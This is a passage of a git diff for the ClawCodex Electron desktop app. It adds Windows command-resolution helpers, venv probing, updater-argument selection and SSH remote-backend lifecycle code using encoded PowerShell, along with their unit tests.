+  assert.equal(extensions[extensions.length - 1], '', 'empty extension must be last, not first')
+  assert.notEqual(extensions[0], '', 'the buggy empty-extension-first order must not return')
+})
+
+test('buildPathExtCandidates: defaults to .COM;.EXE;.BAT;.CMD when PATHEXT is unset on Windows', () => {
+  assert.deepEqual(buildPathExtCandidates(undefined, true), ['.COM', '.EXE', '.BAT', '.CMD', ''])
+})
+
+test('buildPathExtCandidates: respects a custom PATHEXT, still empty-last', () => {
+  assert.deepEqual(buildPathExtCandidates('.EXE;.PS1', true), ['.EXE', '.PS1', ''])
+})
+
+test('buildPathExtCandidates: non-Windows only tries the bare name', () => {
+  assert.deepEqual(buildPathExtCandidates('.COM;.EXE;.BAT;.CMD', false), [''])
+  assert.deepEqual(buildPathExtCandidates(undefined, false), [''])
+})
+
+test('chooseUpdaterArgs: gentle --update when a real-install signal is present', () => {
+  assert.deepEqual(chooseUpdaterArgs(true, 'main'), ['--update', '--branch', 'main'])
+})
+
+test('chooseUpdaterArgs: destructive --repair only when NO real-install signal is present', () => {
+  assert.deepEqual(chooseUpdaterArgs(false, 'main'), ['--repair', '--branch', 'main'])
+})
+
+test('chooseUpdaterArgs: passes the branch through unchanged in both cases', () => {
+  assert.deepEqual(chooseUpdaterArgs(true, 'release/1.2'), ['--update', '--branch', 'release/1.2'])
+  assert.deepEqual(chooseUpdaterArgs(false, 'release/1.2'), ['--repair', '--branch', 'release/1.2'])
+})
+
+function makeDeps(overrides: Partial<Parameters<typeof resolveVenvClawCodexCommand>[2]> = {}) {
+  return {
+    isWindows: true,
+    isCommandScript: () => false,
+    fileExists: () => true,
+    directoryExists: () => false,
+    canImportClawCodexCli: () => true,
+    getVenvPython: (venvRoot: string) => `${venvRoot}/Scripts/python.exe`,
+    getVenvSitePackagesEntries: () => [],
+    buildDesktopBackendEnv: () => ({ FAKE_ENV: '1' }),
+    clawcodexHome: '/fake/clawcodex-home',
+    resolvePath: (...segments: string[]) => segments.join('/').replace(/\/+/g, '/'),
+    dirname: (p: string) => p.slice(0, p.lastIndexOf('/')) || '/',
+    basename: (p: string) => p.slice(p.lastIndexOf('/') + 1),
+    rememberLog: () => {},
+    ...overrides
+  }
+}
+
+test('resolveVenvClawCodexCommand: returns null off Windows', () => {
+  const deps = makeDeps({ isWindows: false })
+
+  assert.equal(resolveVenvClawCodexCommand('/root/venv/Scripts/clawcodex.exe', [], deps), null)
+})
+
+test('resolveVenvClawCodexCommand: returns null for a .cmd/.bat script command', () => {
+  const deps = makeDeps({ isCommandScript: () => true })
+
+  assert.equal(resolveVenvClawCodexCommand('/root/venv/Scripts/clawcodex.cmd', [], deps), null)
+})
+
+test('resolveVenvClawCodexCommand: returns null when the basename is not clawcodex/clawcodex.exe', () => {
+  const deps = makeDeps()
+
+  assert.equal(resolveVenvClawCodexCommand('/root/venv/Scripts/python.exe', [], deps), null)
+})
+
+test('resolveVenvClawCodexCommand: returns null when the parent dir is not Scripts', () => {
+  const deps = makeDeps()
+
+  assert.equal(resolveVenvClawCodexCommand('/root/venv/bin/clawcodex.exe', [], deps), null)
+})
+
+test('resolveVenvClawCodexCommand: returns null when the venv python does not exist on disk', () => {
+  const deps = makeDeps({ fileExists: () => false })
+
+  assert.equal(resolveVenvClawCodexCommand('/root/venv/Scripts/clawcodex.exe', [], deps), null)
+})
+
+test('resolveVenvClawCodexCommand: probes the venv python before trusting it (returns null on failed probe)', () => {
+  let probed = false
+
+  const deps = makeDeps({
+    canImportClawCodexCli: (python: string) => {
+      probed = true
+      assert.equal(python, '/root/venv/Scripts/python.exe')
+
+      return false
+    }
+  })
+
+  const result = resolveVenvClawCodexCommand('/root/venv/Scripts/clawcodex.exe', ['serve'], deps)
+
+  assert.equal(probed, true, 'must probe the venv interpreter; a broken venv must not be re-selected forever')
+  assert.equal(result, null, 'a failed probe must fall through (return null) so the resolver reaches bootstrap')
+})
+
+test('resolveVenvClawCodexCommand: returns the resolved python backend descriptor when the probe passes', () => {
+  const deps = makeDeps()
+  const result = resolveVenvClawCodexCommand('/root/venv/Scripts/clawcodex.exe', ['serve', '--port', '0'], deps)
+
+  assert.ok(result, 'a passing probe must return a backend descriptor, not null')
+  assert.equal(result.command, '/root/venv/Scripts/python.exe')
+  assert.deepEqual(result.args, ['-m', 'clawcodex_cli.main', 'serve', '--port', '0'])
+  assert.equal(result.bootstrap, false)
+  assert.equal(result.kind, 'python')
+  assert.equal(result.shell, false)
+  assert.deepEqual(result.env, { FAKE_ENV: '1' })
+})
+
+test('resolveVenvClawCodexCommand: is case-insensitive on clawcodex.exe and the Scripts dir name', () => {
+  const deps = makeDeps()
+
+  assert.ok(resolveVenvClawCodexCommand('/root/venv/Scripts/CLAWCODEX.EXE', [], deps))
+  assert.ok(resolveVenvClawCodexCommand('/root/venv/SCRIPTS/clawcodex.exe', [], deps))
+})
+
+// ── getVenvSitePackagesEntries ─────────────────────────────────────────────
+
+test('getVenvSitePackagesEntries: returns Lib/site-packages on Windows when it exists', () => {
+  const expected = path.join('C:\\venv', 'Lib', 'site-packages')
+
+  const result = getVenvSitePackagesEntries('C:\\venv', {
+    isWindows: true,
+    directoryExists: p => p === expected
+  })
+
+  assert.deepEqual(result, [expected])
+})
+
+test('getVenvSitePackagesEntries: returns empty on Windows when site-packages does not exist', () => {
+  const result = getVenvSitePackagesEntries('C:\\venv', {
+    isWindows: true,
+    directoryExists: () => false
+  })
+
+  assert.deepEqual(result, [])
+})
+
+test('getVenvSitePackagesEntries: reads pyvenv.cfg version on POSIX and resolves lib/pythonX.Y/site-packages', () => {
+  const result = getVenvSitePackagesEntries('/venv', {
+    isWindows: false,
+    directoryExists: p => p === '/venv/lib/python3.12/site-packages',
+    readFile: () => 'version_info = 3.12.1\n'
+  })
+
+  assert.deepEqual(result, ['/venv/lib/python3.12/site-packages'])
+})
+
+test('getVenvSitePackagesEntries: returns empty on POSIX when pyvenv.cfg is missing', () => {
+  const result = getVenvSitePackagesEntries('/venv', {
+    isWindows: false,
+    directoryExists: () => true,
+    readFile: () => undefined
+  })
+
+  assert.deepEqual(result, [])
+})
+
+test('getVenvSitePackagesEntries: returns empty on POSIX when pyvenv.cfg has no version_info', () => {
+  const result = getVenvSitePackagesEntries('/venv', {
+    isWindows: false,
+    directoryExists: () => true,
+    readFile: () => 'home = /usr/bin\n'
+  })
+
+  assert.deepEqual(result, [])
+})
+
+test('getVenvSitePackagesEntries: returns empty on POSIX when version is present but site-packages dir is absent', () => {
+  const result = getVenvSitePackagesEntries('/venv', {
+    isWindows: false,
+    directoryExists: () => false,
+    readFile: () => 'version_info = 3.11\n'
+  })
+
+  assert.deepEqual(result, [])
+})
+
+test('getVenvSitePackagesEntries: returns empty for a falsy venvRoot', () => {
+  assert.deepEqual(getVenvSitePackagesEntries('', { isWindows: true, directoryExists: () => true }), [])
+  assert.deepEqual(getVenvSitePackagesEntries(null, { isWindows: true, directoryExists: () => true }), [])
+  assert.deepEqual(getVenvSitePackagesEntries(undefined, { isWindows: true, directoryExists: () => true }), [])
+})
diff --git a/ui-desktop/electron/windows-clawcodex-path.ts b/ui-desktop/electron/windows-clawcodex-path.ts
new file mode 100644
index 000000000..b15997eed
--- /dev/null
+++ b/ui-desktop/electron/windows-clawcodex-path.ts
@@ -0,0 +1,291 @@
+/**
+ * windows-clawcodex-path.ts
+ *
+ * Pure, dependency-injected pieces of Windows `clawcodex` resolution pulled out
+ * of main.ts's findOnPath(), handOffWindowsBootstrapRecovery(), and
+ * unwrapWindowsVenvClawCodexCommand(). Each of the three functions here pins one
+ * of the Windows resolution bugs that caused desktop reinstall loops:
+ *
+ *   1. buildPathExtCandidates() — findOnPath() tried the empty extension
+ *      FIRST, so an extensionless Git-Bash `clawcodex` shim shadowed the real
+ *      clawcodex.cmd/clawcodex.exe; the shim then failed the --version probe and
+ *      the desktop fell through to a spurious bootstrap/repair. The fix:
+ *      PATHEXT extensions first, empty extension LAST.
+ *   2. chooseUpdaterArgs() — handOffWindowsBootstrapRecovery() chose
+ *      --update vs the destructive --repair by checking ONLY
+ *      venv\Scripts\clawcodex.exe (the console-script shim, written at the END
+ *      of venv setup and absent in interrupted states), so it escalated to a
+ *      full venv recreate even on healthy installs. The fix: gate on ANY
+ *      real-install signal, not just the shim.
+ *   3. resolveVenvClawCodexCommand() — unwrapWindowsVenvClawCodexCommand() returned
+ *      the venv python with NO runtime probe (bypassing the caller's
+ *      --version check too), so a venv broken mid-update (e.g. missing
+ *      python-dotenv) was re-selected forever: Retry / "Repair install"
+ *      resolved the same dead interpreter instead of falling through to the
+ *      bootstrap installer. The fix: probe-before-trust.
+ *
+ * Kept in a standalone ts module (no Electron imports, dependencies passed
+ * as parameters) so it can be unit-tested with `node --test` without
+ * mocking Electron or the filesystem, same pattern as backend-probes.ts and
+ * backend-command.ts.
+ */
+
+import fs from 'node:fs'
+import path from 'node:path'
+
+/**
+ * Build the ordered list of extensions findOnPath() should try when
+ * resolving a bare command name off PATH.
+ *
+ * On Windows this MUST try PATHEXT extensions (.COM;.EXE;.BAT;.CMD by
+ * default) BEFORE the bare/empty-extension name: a real command resolves via
+ * its .exe/.cmd per Windows command-resolution semantics, and an
+ * extensionless file (e.g. a Git-Bash shell-script shim named `clawcodex`) must
+ * not shadow `clawcodex.cmd`/`clawcodex.exe`. The empty entry is kept LAST so
+ * callers that already include the extension (py.exe, pwsh.exe,
+ * powershell.exe) still resolve.
+ *
+ * On non-Windows platforms there is no PATHEXT concept: only the bare name
+ * is tried.
+ *
+ * @param {string | undefined} pathext - process.env.PATHEXT (or undefined).
+ * @param {boolean} isWindows
+ * @returns {string[]} extensions to try, in order, always ending in ''.
+ */
+export function buildPathExtCandidates(pathext: string | undefined, isWindows: boolean): string[] {
+  if (!isWindows) {
+    return ['']
+  }
+
+  return [...(pathext || '.COM;.EXE;.BAT;.CMD').split(';').filter(Boolean), '']
+}
+
+/**
+ * Choose the Windows bootstrap-recovery updater invocation: the gentle
+ * in-place --update when ANY real-install signal is present, the
+ * destructive --repair (full venv recreate) otherwise.
+ *
+ * haveRealInstall must be computed by the caller from ALL real-install
+ * signals (venv python interpreter, venv clawcodex shim, bootstrap-complete
+ * marker) — gating on just the clawcodex.exe console-script shim alone is the
+ * regression this function's callers must avoid: that shim is written at
+ * the END of venv setup and is absent in exactly the interrupted/quarantined
+ * states this recovery exists to heal.
+ *
+ * @param {boolean} haveRealInstall
+ * @param {string} branch
+ * @returns {string[]} updater argv, e.g. ['--update', '--branch', 'main'].
+ */
+export function chooseUpdaterArgs(haveRealInstall: boolean, branch: string): string[] {
+  return haveRealInstall ? ['--update', '--branch', branch] : ['--repair', '--branch', branch]
+}
+
+/**
+ * Resolve the site-packages directory entries for a Python venv.
+ *
+ * On Windows, venv layout is `<venvRoot>/Lib/site-packages`.
+ * On POSIX, it's `<venvRoot>/lib/python<version>/site-packages` where
+ * `<version>` (e.g. `3.12`) is read from the venv's `pyvenv.cfg`
+ * `version_info` field.
+ *
+ * Returns only directories that actually exist on disk. Returns an empty
+ * array when `venvRoot` is falsy or no matching site-packages dir is found.
+ *
+ * Extracted from main.ts so the platform branching can be tested without
+ * reading source text. `isWindows` and `directoryExists` are injectable;
+ * `readFile` defaults to `fs.readFileSync` but can be overridden for tests.
+ */
+export function getVenvSitePackagesEntries(
+  venvRoot: string | undefined | null,
+  opts: {
+    isWindows?: boolean
+    directoryExists?: (p: string) => boolean
+    readFile?: (p: string) => string | undefined
+  } = {}
+): string[] {
+  const entries: string[] = []
+
+  if (!venvRoot) {
+    return entries
+  }
+
+  const isWindows = opts.isWindows ?? process.platform === 'win32'
+
+  const directoryExists =
+    opts.directoryExists ??
+    ((p: string) => {
+      try {
+        return fs.statSync(p).isDirectory()
+      } catch {
+        return false
+      }
+    })
+
+  const readFile =
+    opts.readFile ??
+    ((p: string) => {
+      try {
+        return fs.readFileSync(p, 'utf8')
+      } catch {
+        return undefined
+      }
+    })
+
+  if (isWindows) {
+    const sitePackages = path.join(venvRoot, 'Lib', 'site-packages')
+
+    if (directoryExists(sitePackages)) {
+      entries.push(sitePackages)
+    }
+
+    return entries
+  }
+
+  const cfg = readFile(path.join(venvRoot, 'pyvenv.cfg'))
+
+  const version = (() => {
+    if (!cfg) {
+      return null
+    }
+
+    const match = cfg.match(/^version_info\s*=\s*(\d+\.\d+)/im)
+
+    return match ? match[1].trim() : null
+  })()
+
+  if (version) {
+    const sitePackages = path.join(venvRoot, 'lib', `python${version}`, 'site-packages')
+
+    if (directoryExists(sitePackages)) {
+      entries.push(sitePackages)
+    }
+  }
+
+  return entries
+}
+
+export interface ResolveVenvClawCodexCommandDeps {
+  isWindows: boolean
+  isCommandScript: (command: string) => boolean
+  fileExists: (filePath: string) => boolean
+  directoryExists: (filePath: string) => boolean
+  canImportClawCodexCli: (python: string, opts?: { env?: Record<string, string> }) => boolean
+  getVenvPython: (venvRoot: string) => string
+  getVenvSitePackagesEntries: (venvRoot: string) => string[]
+  buildDesktopBackendEnv: (opts: {
+    clawcodexHome: string
+    pythonPathEntries: string[]
+    venvRoot: string
+  }) => Record<string, string>
+  clawcodexHome: string
+  resolvePath: (...segments: string[]) => string
+  dirname: (p: string) => string
+  basename: (p: string) => string
+  rememberLog?: (message: string) => void
+}
+
+/**
+ * If `command` is a Windows venv `clawcodex`/`clawcodex.exe` console-script shim
+ * (i.e. `<venvRoot>/Scripts/clawcodex(.exe)`), resolve it to the underlying
+ * venv python invoked as `python -m clawcodex_cli.main <backendArgs>` — but
+ * ONLY after smoke-testing that interpreter with canImportClawCodexCli(). A
+ * venv whose update died mid-`pip install` still has python.exe + clawcodex.exe
+ * on disk, but the backend dies on its first import (e.g.
+ * ModuleNotFoundError: dotenv) before the gateway ever binds. Returning it
+ * unprobed also bypasses the caller's `--version` probe, so Retry/"Repair
+ * install" re-resolves the same broken venv forever instead of falling
+ * through to the bootstrap installer.
+ *
+ * Mirrors isActiveRuntimeUsable(): probes with the checkout on PYTHONPATH so
+ * a healthy source-tree venv passes.
+ *
+ * Returns null when `command` is not a venv clawcodex shim, the underlying
+ * python doesn't exist, or the import probe fails. Otherwise returns the
+ * resolved backend descriptor.
+ */
+export function resolveVenvClawCodexCommand(
+  command: string,
+  backendArgs: string[],
+  deps: ResolveVenvClawCodexCommandDeps
+): {
+  label: string
+  command: string
+  args: string[]
+  bootstrap: false
+  env: Record<string, string>
+  kind: 'python'
+  root: string
+  shell: false
+} | null {
+  const {
+    isWindows,
+    isCommandScript,
+    fileExists,
+    directoryExists,
+    canImportClawCodexCli,
+    getVenvPython,
+    getVenvSitePackagesEntries,
+    buildDesktopBackendEnv,
+    clawcodexHome,
+    resolvePath,
+    dirname,
+    basename,
+    rememberLog
+  } = deps
+
+  if (!isWindows || !command || isCommandScript(command)) {
+    return null
+  }
+
+  const resolved = resolvePath(String(command))
+
+  if (!/^clawcodex(?:\.exe)?$/i.test(basename(resolved))) {
+    return null
+  }
+
+  const scriptsDir = dirname(resolved)
+
+  if (basename(scriptsDir).toLowerCase() !== 'scripts') {
+    return null
+  }
+
+  const venvRoot = dirname(scriptsDir)
+  const python = getVenvPython(venvRoot)
+
+  if (!fileExists(python)) {
+    return null
+  }
+
+  const root = dirname(venvRoot)
+
+  if (
+    !canImportClawCodexCli(python, {
+      env: {
+        PYTHONPATH: [...(directoryExists(root) ? [root] : []), process.env.PYTHONPATH]
+          .filter((entry): entry is string => Boolean(entry))
+          .join(path.delimiter)
+      }
+    })
+  ) {
+    rememberLog?.(
+      `Ignoring venv ClawCodex at ${python}: runtime import probe failed (broken/partial venv); falling through to bootstrap.`
+    )
+
+    return null
+  }
+
+  return {
+    label: `existing ClawCodex Python at ${python}`,
+    command: python,
+    args: ['-m', 'clawcodex_cli.main', ...backendArgs],
+    bootstrap: false,
+    env: buildDesktopBackendEnv({
+      clawcodexHome,
+      pythonPathEntries: [...(directoryExists(root) ? [root] : []), ...getVenvSitePackagesEntries(venvRoot)],
+      venvRoot
+    }),
+    kind: 'python',
+    root,
+    shell: false
+  }
+}
diff --git a/ui-desktop/electron/windows-remote-lifecycle.test.ts b/ui-desktop/electron/windows-remote-lifecycle.test.ts
new file mode 100644
index 000000000..afee1bd75
--- /dev/null
+++ b/ui-desktop/electron/windows-remote-lifecycle.test.ts
@@ -0,0 +1,149 @@
+import assert from 'node:assert/strict'
+import crypto from 'node:crypto'
+
+import { test } from 'vitest'
+
+import {
+  buildWindowsInteractiveCommand,
+  detectRemotePlatform,
+  encodedPowerShell,
+  helperCommand,
+  powerShellCommand,
+  psLiteral,
+  reusableWindowsLock,
+  validLock
+} from './windows-remote-lifecycle'
+
+const ownershipId = '0123456789abcdef0123456789abcdef'
+
+function sshWith(exec) {
+  return { exec }
+}
+
+test('PowerShell transport uses UTF-16LE encoded commands and literal escaping', () => {
+  assert.equal(Buffer.from(encodedPowerShell("'ok'"), 'base64').toString('utf16le'), "'ok'")
+  assert.equal(psLiteral("a'b"), "'a''b'")
+  assert.match(powerShellCommand('Write-Output ok'), /^powershell\.exe -NoProfile -NonInteractive .* -EncodedCommand /)
+})
+
+test('platform detection preserves POSIX and falls back to Windows PowerShell', async () => {
+  assert.deepEqual(await detectRemotePlatform(sshWith(async () => 'Linux\nx86_64\n')), { os: 'Linux', arch: 'x86_64' })
+  const calls: string[] = []
+
+  const result = await detectRemotePlatform(
+    sshWith(async command => {
+      calls.push(command)
+
+      if (command.startsWith('uname ')) {
+        throw new Error('PowerShell does not recognize uname')
+      }
+
+      return JSON.stringify({
+        os: 'Windows',
+        arch: 'ARM64',
+        clawcodexHome: 'C:\\h',
+        clawcodexPath: 'C:\\h\\clawcodex.exe',
+        python: 'C:\\h\\python.exe'
+      })
+    })
+  )
+
+  assert.equal(result.os, 'Windows')
+  assert.match(calls[1], /EncodedCommand/)
+})
+
+test('platform detection surfaces transport failures as themselves, not unsupported-platform', async () => {
+  // A dead/unauthorized host is a connectivity verdict; only a host that answers
+  // neither probe is an unsupported platform.
+  const transportErr: any = new Error('SSH connection timed out')
+  transportErr.kind = 'timeout'
+  await assert.rejects(
+    detectRemotePlatform(
+      sshWith(async () => {
+        throw transportErr
+      })
+    ),
+    (err: any) => err.kind === 'timeout'
+  )
+  // Probe genuinely failing on a reachable host still classifies unsupported,
+  // and carries the probe detail for diagnosis.
+  await assert.rejects(
+    detectRemotePlatform(
+      sshWith(async command => {
+        if (command.startsWith('uname ')) {
+          throw new Error('not recognized')
+        }
+
+        throw new Error('ClawCodex is not installed on the remote Windows host.')
+      })
+    ),
+    (err: any) => err.kind === 'unsupported-platform' && /ClawCodex is not installed/.test(err.message)
+  )
+})
+
+test('helper command uses the fixed remote Python entry point and quotes path data', () => {
+  const command = helperCommand({ python: "C:\\Program Files\\ClawCodex's\\python.exe" }, 'inspect', [
+    'C:\\x y\\clawcodex.exe'
+  ])
+
+  const encoded = command.split(' ').pop()!
+  const script = Buffer.from(encoded, 'base64').toString('utf16le')
+  assert.match(script, /-m' 'clawcodex_cli\.windows_ssh_runtime' 'inspect'/)
+  assert.match(script, /ClawCodex''s/)
+  assert.match(script, /C:\\x y\\clawcodex\.exe/)
+})
+
+test('Windows lock validation is scoped and exact', () => {
+  const lock = {
+    schemaVersion: 2,
+    protocolVersion: 1,
+    ownershipId,
+    spawnNonce: '0123456789abcdef',
+    pid: 10,
+    creationTimeNs: '1784219690452757504',
+    port: 1234,
+    tokenFingerprint: 'a'.repeat(32),
+    clawcodexPath: 'C:\\h\\clawcodex.exe',
+    clawcodexHome: 'C:\\h'
+  }
+
+  assert.equal(validLock(lock, ownershipId), true)
+  assert.equal(validLock({ ...lock, ownershipId: 'b'.repeat(32) }, ownershipId), false)
+  assert.equal(validLock({ ...lock, creationTimeNs: '0' }, ownershipId), false)
+  // port 0 = spawn-in-progress record: valid ownership proof (cleanup can act
+  // on it) but the reuse gate must reject it separately.
+  assert.equal(validLock({ ...lock, port: 0 }, ownershipId), true)
+  assert.equal(validLock({ ...lock, port: -1 }, ownershipId), false)
+})
+
+test('Windows SSH reuse requires the requested remote profile to match the lock', () => {
+  const token = 'stored-token'
+
+  const lock = {
+    schemaVersion: 2,
+    protocolVersion: 1,
+    ownershipId,
+    spawnNonce: '0123456789abcdef',
+    pid: 10,
+    creationTimeNs: '1784219690452757504',
+    port: 1234,
+    profile: 'default',
+    tokenFingerprint: crypto.createHash('sha256').update(token).digest('hex').slice(0, 32),
+    clawcodexPath: 'C:\\h\\clawcodex.exe',
+    clawcodexHome: 'C:\\h'
+  }
+
+  const state = { alive: true, owned: true }
+  const runtime = { clawcodexPath: lock.clawcodexPath, clawcodexHome: lock.clawcodexHome }
+
+  assert.equal(reusableWindowsLock(lock, state, 'default', token, runtime), true)
+  assert.equal(reusableWindowsLock(lock, state, 'desktop-work', token, runtime), false)
+  assert.equal(reusableWindowsLock({ ...lock, profile: '' }, state, '', token, runtime), true)
+})
+
+test('Windows integrated terminal uses encoded PowerShell and preserves cwd as literal data', () => {
+  const command = buildWindowsInteractiveCommand("C:\\Users\\O'Brien\\repo")
+  const script = Buffer.from(command.split(' ').pop()!, 'base64').toString('utf16le')
+  assert.match(script, /Set-Location -LiteralPath 'C:\\Users\\O''Brien\\repo'/)
+  assert.match(script, /powershell\.exe -NoLogo/)
+})
diff --git a/ui-desktop/electron/windows-remote-lifecycle.ts b/ui-desktop/electron/windows-remote-lifecycle.ts
new file mode 100644
index 000000000..8ffbcb9f7
--- /dev/null
+++ b/ui-desktop/electron/windows-remote-lifecycle.ts
@@ -0,0 +1,462 @@
+import crypto from 'node:crypto'
+
+import { redactSecrets, SSH_ERROR } from './ssh-connection'
+
+const LOCKFILE_SCHEMA_VERSION = 2
+const PROTOCOL_VERSION = 1
+const READY_RE = /^CLAWCODEX_(?:BACKEND|DASHBOARD)_READY port=(\d+)/gm
+const READY_POLL_INTERVAL_MS = 750
+
+function psLiteral(value) {
+  return `'${String(value).replace(/'/g, "''")}'`
+}
+
+function encodedPowerShell(script) {
+  return Buffer.from(script, 'utf16le').toString('base64')
+}
+
+function powerShellCommand(script) {
+  return `powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand ${encodedPowerShell(script)}`
+}
+
+async function probeWindowsRemote(ssh, explicitClawCodexPath = '') {
+  const explicit = psLiteral(explicitClawCodexPath)
+
+  const script = [
+    '$ErrorActionPreference="Stop"',
+    `$explicit=${explicit}`,
+    '$clawcodexHome=$env:CLAWCODEX_CONFIG_DIR',
+    'if(-not $clawcodexHome){$clawcodexHome=Join-Path $env:LOCALAPPDATA "clawcodex"}',
+    '$candidates=@()',
+    'if($explicit){$candidates+=$explicit}',
+    '$cmd=Get-Command clawcodex.exe -ErrorAction SilentlyContinue',
+    'if($cmd){$candidates+=$cmd.Source}',
+    '$candidates+=(Join-Path $clawcodexHome "clawcodex\\venv\\Scripts\\clawcodex.exe")',
+    '$candidates+=(Join-Path $HOME "clawcodex\\.venv\\Scripts\\clawcodex.exe")',
+    '$clawcodex=$candidates|Where-Object{Test-Path -LiteralPath $_ -PathType Leaf}|Select-Object -First 1',
+    'if(-not $clawcodex){throw "ClawCodex is not installed on the remote Windows host."}',
+    'if($explicit -and $clawcodex -ne $explicit){throw "The configured ClawCodex path is not an executable file."}',
+    '$python=Join-Path (Split-Path $clawcodex) "python.exe"',
+    'if(-not (Test-Path -LiteralPath $python -PathType Leaf)){throw "The remote ClawCodex Python runtime was not found."}',
+    '[ordered]@{os="Windows";arch=$env:PROCESSOR_ARCHITECTURE;clawcodexHome=$clawcodexHome;clawcodexPath=$clawcodex;python=$python}|ConvertTo-Json -Compress'
+  ].join(';')
+
+  return JSON.parse((await ssh.exec(powerShellCommand(script))).trim())
+}
+
+const TRANSPORT_KINDS = new Set([
+  SSH_ERROR.AUTH_FAILED,
+  SSH_ERROR.HOST_KEY_CHANGED,
+  SSH_ERROR.TIMEOUT,
+  SSH_ERROR.UNREACHABLE
+])
+
+async function detectRemotePlatform(ssh, explicitClawCodexPath = '') {
+  try {
+    const output = (await ssh.exec('uname -s; uname -m')).trim().split('\n')
+
+    if (output[0] === 'Linux' || output[0] === 'Darwin') {
+      return { os: output[0], arch: output[1] || '' }
+    }
+  } catch (error: any) {
+    // uname failing is the expected Windows fall-through; a TRANSPORT failure
+    // (auth/host-key/timeout/unreachable) is not a platform verdict — surface it
+    // as itself instead of letting the probe chain end in 'unsupported-platform'.
+    if (TRANSPORT_KINDS.has(error?.kind)) {
+      throw error
+    }
+  }
+
+  try {
+    return await probeWindowsRemote(ssh, explicitClawCodexPath)
+  } catch (cause: any) {
+    if (TRANSPORT_KINDS.has(cause?.kind)) {
+      throw cause
+    }
+
+    // detail is remote-controlled output headed for the UI: redact + strip control chars.
+    const detail = redactSecrets(String(cause?.message || cause || ''))
+      // eslint-disable-next-line no-control-regex -- deliberately strip control chars from remote output
+      .replace(/[\x00-\x1f\x7f]/g, ' ')
+      .trim()
+
+    const error: any = new Error(
+      `The remote operating system is not supported by Desktop SSH.${detail ? ` (probe: ${detail.slice(0, 300)})` : ''}`
+    )
+
+    error.kind = 'unsupported-platform'
+    error.cause = cause
+    throw error
+  }
+}
+
+function helperCommand(runtime, operation, args = []) {
+  const argv = [runtime.python, '-m', 'clawcodex_cli.windows_ssh_runtime', operation, ...args]
+
+  const script = [
+    '$ErrorActionPreference="Stop"',
+    `& ${argv.map(psLiteral).join(' ')}`,
+    'if($LASTEXITCODE -ne 0){exit $LASTEXITCODE}'
+  ].join(';')
+
+  return powerShellCommand(script)
+}
+
+async function helper(ssh, runtime, operation, args = [], stdinData?) {
+  const output = await ssh.exec(helperCommand(runtime, operation, args), stdinData == null ? {} : { stdinData })
+
+  const lines = String(output || '')
+    .replace(/^\uFEFF/, '')
+    .trim()
+    .split(/\r?\n/)
+    .filter(Boolean)
+
+  const parsed = JSON.parse(lines[lines.length - 1] || 'null')
+
+  if (parsed?.error) {
+    throw new Error(parsed.error)
+  }
+
+  return parsed
+}
+
+function fingerprintToken(token) {
+  return crypto
+    .createHash('sha256')
+    .update(String(token || ''))
+    .digest('hex')
+    .slice(0, 32)
+}
+
+function validLock(lock, ownershipId) {
+  // port 0 = spawn-in-progress record (written before readiness); a valid
+  // ownership proof for cleanup, but never reusable.
+  return Boolean(
+    lock &&
+    lock.schemaVersion === LOCKFILE_SCHEMA_VERSION &&
+    lock.protocolVersion === PROTOCOL_VERSION &&
+    lock.ownershipId === ownershipId &&
+    /^[0-9a-f]{16}$/.test(lock.spawnNonce || '') &&
+    Number.isInteger(lock.pid) &&
+    lock.pid > 0 &&
+    /^[0-9]{10,20}$/.test(lock.creationTimeNs || '') &&
+    Number.isInteger(lock.port) &&
+    lock.port >= 0 &&
+    lock.port <= 65535 &&
+    /^[0-9a-f]{32}$/.test(lock.tokenFingerprint || '') &&
+    typeof lock.clawcodexPath === 'string' &&
+    typeof lock.clawcodexHome === 'string'
+  )
+}
+
+function reusableWindowsLock(lock, state, profile, reuseToken, runtime) {
+  return Boolean(
+    state.alive &&
+    state.owned &&
+    lock.port > 0 &&
+    lock.profile === profile &&
+    reuseToken &&
+    lock.tokenFingerprint === fingerprintToken(reuseToken) &&
+    lock.clawcodexPath === runtime.clawcodexPath &&
+    lock.clawcodexHome === runtime.clawcodexHome
+  )
+}
+
+function assertCurrent(signal) {
+  if (signal?.aborted) {
+    const error: any = new Error('SSH bootstrap was cancelled.')
+    error.kind = 'superseded'
+    throw error
+  }
+}
+
+async function processState(ssh, runtime, lock) {
+  return helper(ssh, runtime, 'process-state', [
+    String(lock.pid),
+    String(lock.creationTimeNs),
+    lock.clawcodexPath,
+    lock.spawnNonce
+  ])
+}
+
+async function cleanupOwned(ssh, runtime, ownershipId, lock) {
+  const attempt = async fn => {
+    try {
+      await fn()
+    } catch {
+      void 0
+    }
+  }
+
+  if (lock) {
+    const state = await processState(ssh, runtime, lock)
+
+    if (state.alive && state.owned) {
+      // Deliberately not attempt()-wrapped: a thrown terminate must abort before
+      // remove-lock, or a live backend is orphaned with no lock to reclaim it.
+      await helper(ssh, runtime, 'terminate', [
+        String(lock.pid),
+        String(lock.creationTimeNs),
+        lock.clawcodexPath,
+        lock.spawnNonce
+      ])
+    }
+
+    if (lock.spawnNonce) {
+      await attempt(() => helper(ssh, runtime, 'remove-token', [ownershipId, lock.spawnNonce]))
+      await attempt(() => helper(ssh, runtime, 'remove-log', [ownershipId, lock.spawnNonce]))
+    }
+  }
+
+  await attempt(() => helper(ssh, runtime, 'remove-lock', [ownershipId]))
+}
+
+async function waitReady(ssh, runtime, ownershipId, lock, timeoutMs, signal) {
+  const deadline = Date.now() + timeoutMs
+
+  while (Date.now() < deadline) {
+    assertCurrent(signal)
+    let state
+
+    try {
+      state = await processState(ssh, runtime, lock)
+    } catch {
+      await new Promise(resolve => setTimeout(resolve, READY_POLL_INTERVAL_MS))
+
+      continue
+    }
+
+    if (!state.indeterminate && (!state.alive || !state.owned)) {
+      let detail = ''
+
+      try {
+        detail = (await helper(ssh, runtime, 'read-log', [ownershipId, lock.spawnNonce]))?.content || ''
+      } catch {
+        void 0
+      }
+
+      const error: any = new Error(
+        `Remote Windows backend exited before announcing its port. state=${JSON.stringify(state)} ${detail.slice(-2000)}`
+      )
+
+      error.kind = 'spawn-failed'
+      throw error
+    }
+
+    let content = ''
+
+    try {
+      content = (await helper(ssh, runtime, 'read-log', [ownershipId, lock.spawnNonce]))?.content || ''
+    } catch {
+      void 0
+    }
+
+    let port
+
+    for (const match of content.matchAll(READY_RE)) {
+      port = Number(match[1])
+    }
+
+    if (port) {
+      return port
+    }
+
+    await new Promise(resolve => setTimeout(resolve, READY_POLL_INTERVAL_MS))
+  }
+
+  const error: any = new Error(`Timed out waiting for the remote Windows backend (${timeoutMs}ms).`)
